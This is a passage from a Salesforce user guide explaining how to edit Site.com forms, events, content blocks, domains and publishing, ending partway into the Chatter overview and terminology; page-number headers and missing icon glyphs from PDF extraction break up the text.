2.
3.
4.

Select the form on the page.


Select
> Add Page Elements.
In the Add Page Elements list, click the input field type that you want to add, such as Checkbox.
Choose a field in the Add a Field dialog box and click Save. If no fields of that type exist in the object, you cant add a
field of that type to the form.

2352

Working with Dynamic Data

Editing Fields in a Form

Note:

You cant add fields to a form by clicking


> Edit Form.
Date/time, data, lookup, content, and currency field types arent supported.
You cant configure the default field-level error messages that appear when users enter an incorrect
value.

Adding Fields to a Page


You can add input fields directly to a page, panel, repeater, or data table to build your own custom features using custom code.
For example, lets say some of your products are only available in certain locations and youd like to let customers view the
products in their nearest city. You could add a picklist input field to the page that lists the various locations. Using custom
code, you could then pass the users selection to a data table or repeater via a query string to display a filtered product list.
To add an input field to the page, drag it from the Page Elements pane onto the page. Alternatively, select the page or container
page element in the Page Structure pane, select
> Add Page Elements, and select the input field.

See Also:
Editing Fields in a Form
Adding a Form to the Page
Site.com Data Services Overview

Editing Fields in a Form


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

After youve added a form to the page, you can edit and reorder its fields.
To reorder fields, drag them to the correct position on the page or in the Page Structure pane. Alternatively, select a field and
click
> Move Up or
> Move Down.
To hide a field, such as required field that you dont want your site visitors to see, select Hidden Field in the Properties
pane. When you hide a field, you can access it from the Page Structure pane.
To make a field a required field, which means the user must complete the field before submitting the form, select Required
Field in the Properties pane. A red asterisk (*) is displayed beside the field to indicate that its required. You cant change
the Required Field setting for any fields that are required by default by the object the form is connected to.

2353

Working with Dynamic Data

Setting the Default Value of Fields

To rename a field, replace the name in the Label Name field in the Properties pane.
To change the appearance of a field on the page, select a different theme in the Properties pane. If the field is in a form, you
can only change the forms theme.
To set the values of a picklist field that you added to a page, enter the values separated by a semicolon (;) in the Picklist
Values field.
Note:

You cant move fields from a form onto the page. However, you can delete non-required fields, or hide both required
and non-required fields.
You cant drag fields from the page onto a form. See Adding Input Fields to Forms or Pages on page 2352.

See Also:
Setting the Default Value of Fields
Adding a Form to the Page
Adding Input Fields to Forms or Pages
Setting a Forms Submit Behavior
Site.com Data Services Overview

Setting the Default Value of Fields


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

You can set the default value of a field that you add to a form or to the page. This automatically populates the field with the
value you specify when the page loads.
When used with a fields Hidden Field property, which hides the field on the form or page, the default value is a useful
tool for submitting data that you dont want your users to see. For example, you could add a hidden field that uses the Global
Property option to track when a form is submitted.
To set the default value of a field:
1. Select the field.
2. Click Configure in the Properties pane.
3. Select the source of the default value.

2354

Working with Dynamic Data

Setting a Forms Submit Behavior

Option

Description

Fixed Value

Use when you want to specify the value. For example, for a text field, you could add default text.
Alternatively, if the field is a picklist, you can select a default value from the list.

URL Query String

Use when you want to pass variable content via a URL to the item when the page loads. For example,
if youre working with a picklist field, you could pass variable information, such as location, to filter
the list and display only items from that location. See Common Filtering Examples for similar scenarios
using repeaters.

Global Property

Use when you want to use a fixed value from the site, such as the current date or current time.

Request Header

Use when you want to use a value from the browser, such as the host header or browser version.

4. Set the default value.


5. Click Save.

See Also:
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Adding a Form to the Page

Setting a Forms Submit Behavior


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When your site visitors submit a form successfully, you can either redirect them to another page or display a message indicating
that they were successful.
When the page is open:
1. Select the form in the Page Structure pane.
2. In the Properties pane, select an option in the When Successful drop-down list.
Option

Description

Show another page

Redirects the user to the page that you specify.

Display a message

Displays a message below the form.

2355

Working with Dynamic Data

The Default, Error, and No Data Views

3. As appropriate, specify either:

The page to redirect to in the Page URL field. You can enter a relative URL, such as a site page, or an absolute URL.
For relative URLs, ensure you include a forward slash (/).
The message text in the Message Text field.
Tip: The forms Submit button uses the submit action in the Events pane.

See Also:
Adding a Form to the Page
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Site.com Data Services Overview

The Default, Error, and No Data Views


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

When working with repeaters, data tables, data functions, and forms, you can customize what your site visitors see if an error
occurs when connecting to the data source. Additionally, for data tables, repeaters, data functions, you can customize whats
displayed when no data exists for the current query. So for example, if you set up a repeater to dynamically filter and display
results based on the users selection, but there are no results for that selection, you can display an appropriate message to explain
what happened.

The Default View (1) is what usually appears on the page. For example, when you add a form to the page, the Default
View contains the forms fields.

2356

Using Events to Create Animated Effects

Events Overview

The Error View (2) is displayed if an error occurs when connecting to the data source. It contains a content block with a
default message that you can customize. You can also add other page elements to the view.
The No Data View (3) is displayed when no data exists for the current query. It contains a content block with a default
message that you can customize. You can also add other page elements to the view.

See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Accessing Data in Related Objects Overview
Site.com Data Services Overview

USING EVENTS TO CREATE ANIMATED EFFECTS


Events Overview
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Events enable you to add interactive and animated effects to the pages and page elements of your website.
When an event occurssay, when a user clicks an element on the page or when the page loadsyou can specify what action
(or series of actions) it should trigger. For example, when your home page loads, you could display a news bulletin popup that
fades away after several seconds. Or when the user clicks a panel, you could expand the panel to reveal additional information
or alter its style.
The Events pane lists many common actions that you can trigger when an event occurs. Using the options here, you can specify
that:
When [this event] occurs, trigger [this action].

See Also:
Creating an Event
Available Events and Actions
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables

2357

Using Events to Create Animated Effects

Creating an Event

Creating an Event
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Use events to add interactive and animated effects to the pages and page elements of your website.
1. Select the relevant page or page element.
2. Select an event in the Events pane.
3. Click
and select an action in the Choose an Action list that appears. See Available Events and Actions on page 2359.
4. Set the other available properties for the action, such as:

Targetspecifies the page element that the action affects


Effectspecifies how the action is animated, such as fade or slide.
Speedsets the speed of the animation to fast, normal, slow, or very slow
Chainedallows you to chain actions so they occur sequentially. For example, to create a Delay action that delays the
action that follows it, select the Delay action's Chained checkbox. This indents the subsequent action underneath the
Delay action, indicating that it's tied to the Delay action. Applies to the Animate, Delay, Hide Element, Repeat, Show
Element, and Toggle Element actions.

5. Click Save.
6. Add more actions if required.
Tip:

When you add an event to a page or page element, an asterisk (*) appears beside the event in the Events pane.
If you hover over
on a selected page element, a tooltip appears indicating which events are associated with the
element. You can also click the icon to quickly open the Events tab.

To delete an action, select it and click

2358

Using Events to Create Animated Effects

To change the order in which an action occurs, select it and click

Available Events and Actions

or

See Also:
Events Overview
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables

Available Events and Actions


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Choose from several event triggers and actions when you create an event.

When This Event Occurs...


Event

Occurs When...

Double click

The user double-clicks the page element.

Click

The user clicks the page element.

Focus

The focus moves to the page element.

Load

The page or page element is loaded in a browser window.

Blur

The focus moves from the page element.

Mouse in

The user moves the mouse pointer over the page element.

Mouse out

The user moves the mouse pointer out of the page element.

Trigger This Action...


Action

Description

Add CSS Class

Dynamically adds a CSS class to style the targeted item. For example, to alter the appearance of
a page element, you could add a new CSS class to it.

Alert

Displays a popup browser alert message.

Animate

Animates CSS properties, such as Top, Left, Width, and Height, which you specify by entering
appropriate values in the CSS field.
For example, if targeting an image, you can enter values such as opacity: "0.4", width:
"70%", which changes the image's appearance according to the speed and effect you set.

Delay

Adds a delay (measured in milliseconds) before the action that follows. (Ensure you select the
Chained checkbox to tie it to the subsequent action.)

2359

Using Events to Create Animated Effects

Available Events and Actions

Action

Description

Execute JavaScript

Runs custom JavaScript code, which you enter by clicking Edit Script to open the Custom Code
Editor.

Go To Page

Goes to the designated page number in repeaters and data tables. See Adding Pagination to
Repeaters and Data Tables on page 2339.

Hide Element

Hides the targeted item according to the speed and effect you set.

Next Page

Goes to the next page in repeaters and data tables. See Adding Pagination to Repeaters and Data
Tables on page 2339.

Previous Page

Goes to the previous page in repeaters and data tables. See Adding Pagination to Repeaters and
Data Tables on page 2339.

Remove CSS Class

Removes a CSS class from the targeted item to dynamically remove its style. For example, to alter
the appearance of a page element, you could remove the CSS class associated with it and replace
it with another.

Repeat

Repeats the action that follows by the specified number of times, with the specified delay between
each occurrence. (Ensure you select the Chained checkbox in the Properties pane to tie it to the
following action.)

Set Element Attribute

Dynamically sets the specified attribute value of the targeted item. For example, if targeting an
image, you could change the image source by entering src in the Attribute Name field and
entering the image URL in the Attribute Value field. You can also add custom name/value
pairs for advanced coding purposes.

Show Element

Reveals the targeted item according to the speed and effect you set.

Submit

Submits the selected form's data.

Toggle Element

Switches the visibility of the targeted element according to the speed and effect you set.

See Also:
Events Overview
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables

2360

Editing Site Content

Creating Site Pages as a Site.com Contributor

EDITING SITE CONTENT


Creating Site Pages as a Site.com Contributor
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

If your publisher has enabled page creation, you can add pages to your site.
To add a new page:
1.
2.
3.
4.

In the Site Pages view on the Overview tab, click New Site Page.
Enter the page name.
Select a template for the page.
Click Create. The site page opens.

See Also:
Editing Content Blocks
Editing Site.com Pages as a Contributor
Using Site.com Studio as a Contributor

2361

Editing Site Content

Editing Site.com Pages as a Contributor

Editing Site.com Pages as a Contributor


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

Open a page in the Site Pages view on the Overview tab by double-clicking it or hovering over it and clicking
The page opens as a new tab.

> Edit.

Once open, you can:

Edit the page text, and add images and hyperlinks by clicking Edit Content. The button isn't available if there are no
editable areas on the page.
Import assets, such as images and files.
Preview the page in a browser window.

See Also:
Creating Site Pages as a Site.com Contributor
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
The Content Editing Toolbar
Using Site.com Studio as a Contributor

2362

Editing Site Content

Editing Content Blocks

Editing Content Blocks


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can edit content blocks, which contain the text for site pages, and can also house
images, videos, and hyperlinks. However, if you're a contributor and the Edit Content button is disabled, there are no editable
areas on the page.
When the page is open:
1. Click Edit Content.
2. Add or edit the text in the highlighted areas and format it using the content editing toolbar.
Tip:

If you copy and paste text from Microsoft Office, highlight the text and click
to remove any hidden
formatting, which can adversely affect how the text appears on the page.
Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best
practice to use the paragraph and heading styles to quickly apply consistent formatting throughout the site.
This also ensures that all page text updates automatically if a publisher or designer modifies the site's paragraph
and heading styles.

3. Add images, videos, hyperlinks, or anchors as required.


4. Click Save.
Note: When you create a page or template from another page template, the content of all editable components on
the derived page or template is linked to the content of the editable components on the parent page template. Updates
to an editable component on the parent template will push down to your derived page or page template. However, if
you make changes to an editable component at the derived page or template level, you break the link, and any subsequent

2363

Editing Site Content

The Content Editing Toolbar

changes made to the component on the parent template won't trickle down to your derived page or template. Note
that this linking behavior only works one level down from the parent template.

See Also:
Using Site.com Studio as a Contributor
Previewing Site.com Sites

The Content Editing Toolbar


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Contributors, designers, and publishers can edit content blocks, which contain the site page's text, along with images, videos,
and hyperlinks.

Using the content editing toolbar, you can:

Undo and redo your edits, and remove the formatting of text copied and pasted from Microsoft Office, which can often
include hidden formatting (1).
Cut, copy, and paste text (2).
Apply direct formatting (3), such as:
Font family and size
Bold, italic, underline, subscript, superscript, and strikethrough
Font and highlight color

Control the text style and layout (4) by:

Applying paragraph and heading styles


Setting paragraph indentation
Left-aligning, centering, right-aligning, or justifying text
Inserting numbered or bulleted lists

Insert a table, and add rows, columns, and spacing (5).


Add images, videos, and special characters (6).
Add and remove hyperlinks and anchors (7).

2364

Editing Site Content

Adding Images to Content Blocks

Tip: Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best practice
to use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures
that all page text updates automatically if a publisher or designer modifies the site's paragraph and heading styles.

Adding Images to Content Blocks


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can add images to the content blocks of site pages. However, if you're a contributor
and the Edit Content button is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Position your cursor where you want to insert the image and click
3. In the Image Properties dialog box, either:

Enter a URL to an image in the Image URL text box.


Select an image from your website by clicking From Website and selecting the image in the list that appears.
Upload an image from your computer by opening the Upload tab, browsing to the image, and clicking Upload.

4. Enter a brief description of the image in the Alternative text field. (The description is used by screen reader users
or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).
5. Optionally, preview how the image appears in relation to the text on the page and set:

The width and height of the image


How much space surrounds the image (which is controlled by the HSpace and VSpace properties)
How it aligns with the text on the page
The image border (for example, to set a dotted green border that's 10 pixels wide, you enter 10px dotted green
in the Border field)

6. Click Apply.

2365

Editing Site Content

Adding Video to Content Blocks

7. Click Save.

See Also:
Editing Content Blocks
Adding an Anchor to a Page
Adding Video to Content Blocks
Adding Hyperlinks to Text and Images
The Content Editing Toolbar
Importing and Managing Assets

Adding Video to Content Blocks


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can add YouTube, Google, Adobe Flash, Windows Media, and Apple QuickTime
videos to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are
no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Position your cursor where you want to insert the video and click .
3. In the Video Properties dialog box, select the video type and either:

Enter the URL to the video in the Video URL text boxfor example,
http://www.youtube.com/watch?v=123abc.
Select a video from your website by clicking From Website and selecting the video in the list that appears.
Upload a video from your computer by opening the Upload tab, browsing to the image, and clicking Upload.

2366

Editing Site Content

Adding Video to Content Blocks

Note: You can only select or upload Flash, Windows Media, and QuickTime videos.

4. To specify how the video is displayed on the page, you can set:

The width and height of the video


How much space surrounds the video (which is controlled by the HSpace and VSpace properties)
How it aligns with the text on the page

You can also preview the video.


5. Click Apply. The video appears as an icon in the content block.
6. Click Save.
Note: After you've added a video to the page, you can view it by previewing the page.

See Also:
Editing Content Blocks
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
The Content Editing Toolbar
Importing and Managing Assets

2367

Editing Site Content

Adding Hyperlinks to Text and Images

Adding Hyperlinks to Text and Images


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can create hyperlinks to external Web pages or websites, to the pages and assets in a
site, to email messages, or to anchors that were added to the page. However, if you're a contributor and the Edit Content
button is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Select the text or image that you want to add a hyperlink to and click
.
3. Select the link type in the Create a link to drop-down list. To create a link to:

An external Web page or website, select A URL, choose the protocol, and type the address in the URL fieldfor
example, http://www.externalsite.com. Go to step 4.
A page or item in your site, select An item in your site, choose the item type (such as a PDF file), select the item in
the drop-down list that appears, and go to step 4.
An anchor that you previously added to the page, select An anchor on the page, and select the anchor in the drop-down
list. Alternatively, enter a new anchor name and create the anchor afterwards. Go to step 5.
An email message, select An email, enter the recipient's address and the message information, and go to step 5.

4. To select which window the file should open in, select an option in the Target drop-down list:

New window (_blank) loads the linked file into a new, unnamed browser window.
Same window (_self) loads the linked file into the same frame or window as the link. This is the default setting.
Topmost window (_top) loads the linked file into the topmost parent frameset or window of the frame that contains
the link.
Parent window (_parent) loads the linked file into the parent frameset or window of the frame that contains the link.
Popup window loads the linked file into a popup window. When you select this option, you can set the title for the
popup and control its appearance and size with the options that appear.

2368

Editing Site Content

Adding an Anchor to a Page

5. Optionally, enter a tooltip description for the link.


6. Click Apply.
7. Click Save.
To delete a hyperlink, select it and click

See Also:
Editing Content Blocks
Adding an Anchor to a Page
Adding Images to Content Blocks
Adding Video to Content Blocks
The Content Editing Toolbar

Adding an Anchor to a Page


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Anchors let you create hyperlinks that jump to specific locations on a page, which can be useful if a page is particularly long.
Both contributors and publishers can add anchors to page text. However, if you're a contributor and the Edit Content button
is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Place the cursor in the required position and click
3. Enter the anchor name and click Apply.

2369

Editing Site Content

Previewing Site.com Sites

4. Create a hyperlink to the anchor.

See Also:
Editing Content Blocks
Adding Hyperlinks to Text and Images
Adding Images to Content Blocks
Adding Video to Content Blocks
The Content Editing Toolbar

Previewing Site.com Sites


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can preview site pages to see how they look when rendered in a browser window. It's
always a good idea to make sure your changes are displayed correctly, as this is how the pages appear on the live site.
If you're a publisher or designer, you can also create an anonymous preview URL that allows other users to review the site
before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress.

Click Preview on the toolbar of the Overview tab to view the entire site. From the Preview menu, you can also:
Click Preview Site in a New Tab to view the site in a new tab in the existing browser window.
Click Preview Site at 1024 x 768 to view the site as it appears to laptop users.
Click Enable Anonymous Preview, if you're a publisher or designer, to create a URL that allows other users to preview
the site before it goes live. Click the View Anonymous Preview option that appears in the Preview menu to access the
preview URL, which you can copy and send to other users to review and test your changes. Enable Anonymous Preview
is also available in the Site Configuration view.

Hover over a page in the Site Pages view of the Overview tab and click
Click Preview on the toolbar when editing a page.

> Preview to view a single page.

2370

Managing Domains and Live Sites

Managing Domains in Site.com

Click Preview beside a site on the Site.com home page to view the entire site.

When you preview pages, all browser-related functions should work.


Note: During preview only, style sheets are rendered as inline styles.

See Also:
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor

MANAGING DOMAINS AND LIVE SITES


Managing Domains in Site.com
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Before you can publish your site to the Internet, you must set the site's domain information. Each sites qualified domain name
must be unique.
1. Create a branded, custom Web address, such as http://www.mycompany.com, by registering through a domain name
registrar. Create a CNAME record that points your branded domain and subdomain to the same name with a
live.siteforce.com suffix. For example, www.mycompany.com must point to
www.mycompany.com.live.siteforce.com.
Note: It can take up to 48 hours for the domain changes to become available on the Internet.

2. Click Site Configuration > Manage Domains on the Overview tab.


3. Enter the domain name in the text box providedfor example, mycompany.comand click Add.

2371

Managing Domains and Live Sites

Publishing and Managing Live Sites

4. Repeat for any additional domain names. For example, you might want to include common misspellings of the domain
name in case users make typing mistakes. Every entry in the Manage Domains dialog box must have a corresponding
CNAME record.
Note: When you update existing domain information, you must publish your changes for them to take effect. If you
see a message that there are no changes to publish, first update a page in your site and then publish your changes.

See Also:
Publishing Site-Wide Changes
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer

Publishing and Managing Live Sites


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Publishing in Site.com refers to the act of making pages and assets live so users can see them.
Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain,
youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just
parts of it.
When working with a site, you can:

Publish site-wide changes.


Publish only selected site changes.
Take the site offline to remove it from public view.

2372

Managing Domains and Live Sites

Publishing Site-Wide Changes

Review the publishing history.

See Also:
Publishing Site-Wide Changes
Taking Your Site Offline
Publishing Parts of Your Site
Using Site.com Studio as a Publisher or Designer
About the Publish History

Publishing Site-Wide Changes


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain,
youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just
parts of it.
To publish all site changes:
1.
2.
3.
4.
5.
6.
7.

Click Publish Changes....


Ensure Site-wide changes is selected. This publishes everything.
Click Next.
Review the list of modified files to ensure that you're ready to publish all of the files.
Click Next.
You can add an optional publishing note. This shows in the Description field of the Publishing History.
Click Publish.

2373

Managing Domains and Live Sites

Publishing Parts of Your Site

Salesforce sends an email notification when your changes are live on the site.

See Also:
Publishing and Managing Live Sites
Publishing Parts of Your Site
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer
About the Publish History

Publishing Parts of Your Site


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

When you update your site, instead of publishing the entire site, you can publish only the items you want. This can speed up
publishing considerably, especially if you have a large site. When you click Publish Changes..., you see a list of all changes
that were made since the last time the site was published. Items are listed by type and include all changed pages, templates,
style sheets, and assets, which you can select or deselect. If an item has dependencies, they will be selected along with the main
item. For example, if you select a page, but you actually changed both the page and the style sheet it relies on, the style sheet
is also automatically selected. Click View to see the list of dependencies. You can deselect a dependency as long as its not a
critical dependency. Critical dependencies are noted with a red dot.
To publish selected site changes:
1.
2.
3.
4.
5.
6.
7.

Click Publish Changes....


Click Only selected items. This deselects all changed items so that you can choose them individually.
Select the items you want to publish. Click Next. A list of what will be published displays.
Review the list. To make changes, click Back.
Click Next.
You can add an optional publishing note. This shows in the Description field of the Publishing History.
Click Publish.

2374

Managing Domains and Live Sites

About the Publish History

Salesforce sends an email notification when your changes are live on the site.

See Also:
Publishing and Managing Live Sites
Publishing Site-Wide Changes
Taking Your Site Offline
About the Publish History

About the Publish History


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Publishing in Site.com refers to the act of making pages and assets live so users can see them.
Once you publish your site, you can view the Publish History from the Overview tab.
In the Publish History, you can:

See a list of recent submissions, including the date and who submitted the change.
Read the publishing notes (under Description).
See the detail of each submission by clicking

and viewing details.

See Also:
Publishing and Managing Live Sites
Publishing Site-Wide Changes
Publishing Parts of Your Site
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer

2375

Managing Domains and Live Sites

Taking Your Site Offline

Taking Your Site Offline


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To manage domains and publish Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher role assigned at the site level

Once you publish a site, you cant delete it, but you can take it offline if you no longer want users to see it. You do this by
removing the CNAME from your DNS server. Users then receive a Site not found message from their browser when
attempting to view the site. You can give access again at any time by adding the CNAME record back.

See Also:
Managing Domains in Site.com
Using Site.com Studio as a Publisher or Designer

2376

COLLABORATING WITH CHATTER

Chatter Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter is a Salesforce collaboration application that helps you connect with people and share business information securely
and in real time.
Use Chatter features like feeds, profiles, groups, and more to share information, collaborate, and keep up with the latest updates
in your company.
Chatter works in accordance with all of the security and permission settings in your Salesforce organization. Chatter is enabled
by default for organizations created after June 22, 2010. For existing organizations, you must enable Chatter. You can access
the Chatter app in the app menu in the top right corner of any page. If your administrator added Chatter tabs to other apps
and you previously customized your display, you need to add the tabs manually.
Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience
malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again.
Chatter is not supported:

Using Microsoft Internet Explorer version 6.0


For portal users
In the Console tab

Additionally we reserve the right to enforce limits on:

The length of time that posts, comments, and tracked field changes are stored on the Salesforce servers.
The number of posts, comments, and tracked field changes available in the Chatter feed. Currently tracked fields without
likes or comments are removed from the feed after 45 days.
The number of email notifications that can be sent per organization per hour.

These limits are subject to change at any time. Contact salesforce.com for more information.
See Chatter Terminology for common Chatter terms.

See Also:
Setting Up Chatter
Chatter FAQs
Chatter Mobile App Overview

2377

Collaborating with Chatter

Chatter Terminology

Chatter Terminology
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The following terminology is used for Chatter.


Chatter Bookmarks
Chatter bookmarks let you keep track of individual posts that interest you. When someone comments on a post you
bookmarked, you receive an email notification.
Chatter Favorite
Chatter favorites are shortcuts on your Chatter tab to the latest posts and comments for topics, list views, and Chatter
feed searches.
Chatter Feed
A list of recent activities in Salesforce. Chatter feeds display:

On the Chatter or Home tab, where you can see your posts, posts from people you follow, and updates to records
you follow, and posts to groups you're a member of
On profiles, where you can see posts made by the person whose profile you're viewing
On records, where you can see updates to the record you're viewing
On Chatter groups, where you can see posts to the group you're viewing

Chatter Group
Chatter groups let you share information with specific people. For example, if you're working on a project and want to
share information only with your team members, you can create a Chatter group for your team. Chatter groups include
a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups:

Public: Only group members can post, but anyone can see the posts and join the public group.
Private: Only group members can post and see the posts. The group's owner or managers must add members.

Comment, Chatter
A reply to a post in a Chatter feed.
Customers, Chatter
Users outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Feed Attachment, Chatter
A feed attachment is a file or link that is attached to a post in a Chatter feed.
Feed Tracking, Chatter
Administrator settings that determine which records can be followed and which fields can be tracked in Chatter feeds.
Enabling an object for feed tracking allows people to follow records of that object type. Enabling fields for feed tracking
allows users to see updates on the Chatter feed when those fields are changed on records they follow.
File Collaborator
Users with the collaborator permission can view, download, share, change permission, edit the file, and upload new
versions of files in Chatter.

2378

Collaborating with Chatter

Chatter Terminology

File Owner
You are the owner of a file when you upload the file in Chatter, attach the file to a Chatter feed, or upload the file in
Salesforce CRM Content.
As the owner of the file you can view, edit, download, share, upload a new version, and delete the file, as well as make
the file private and change the permission on the file.
File, Private
A private file in Chatter is indicated by the private icon ( ) and is only available to the file owner and isn't shared with
anyone. A private file is created when you upload a file on the Files tab or contribute a file to a Salesforce CRM Content
personal library. You own files you upload or contribute.
File, Privately Shared
A privately shared file in Chatter is indicated by the privately shared icon (
and the specific people or groups it has been shared with.

) and is only available to the file owner

File, Your Company


The your company icon ( ) indicates a file that is shared with all Chatter users in your company. All Chatter users in
your company can find and view this file.
File Viewer
Users with the viewer permission can view, download, and share files in Chatter.
Files Tab
A tab that lists a user's Chatter and Salesforce CRM Content files.
Follow
A subscription to a user or record that lets you see related updates in your Chatter feed. Follow a user to see the userss
posts. Follow a record to see posts, comments, and field changes.
Influence, Chatter
An indicator of a persons influence in Chatter. The number of posts and comments the person makes, and the number
of comments and likes the person receives determine the level of influence. Top Influencers lead collaboration efforts
by regularly sharing essential content, Active Influencers encourage others to get involved and share knowledge, and
Observers are quiet participants or just getting started in Chatter.
Like
To show support for a post or comment in a Chatter feed. When you like a post or comment, you receive email
notifications for subsequent comments.
Message, Chatter
A Chatter message is a private communication with other Chatter users. Use messages to send your manager a question
privately, or to communicate with a few select people when a discussion isn't relevant to everyone you work with. Messages
don't appear in your feed, your profile, or any other part of Chatter that's publicly visible.
People
Users in your Salesforce organization. A list of people is available on the People tab in Chatter.
Post
A top-level comment in a Chatter feed.

2379

Collaborating with Chatter

Using Chatter

Post Sharing
Lets you copy a public Chatter post and publish it to your profile or a group youre a member of. You can also share the
post with other Chatter users by sending a link to the post in an email or instant message.
Profile, Chatter
A personal page for each Salesforce user that includes contact information, following and followers lists, a Chatter feed,
and a photo.
Record Update
A post in a Chatter feed that is the result of a field change on a record that is being followed.
Unfollow
To stop following a user or record and stop seeing related posts in your Chatter feed.

Using Chatter
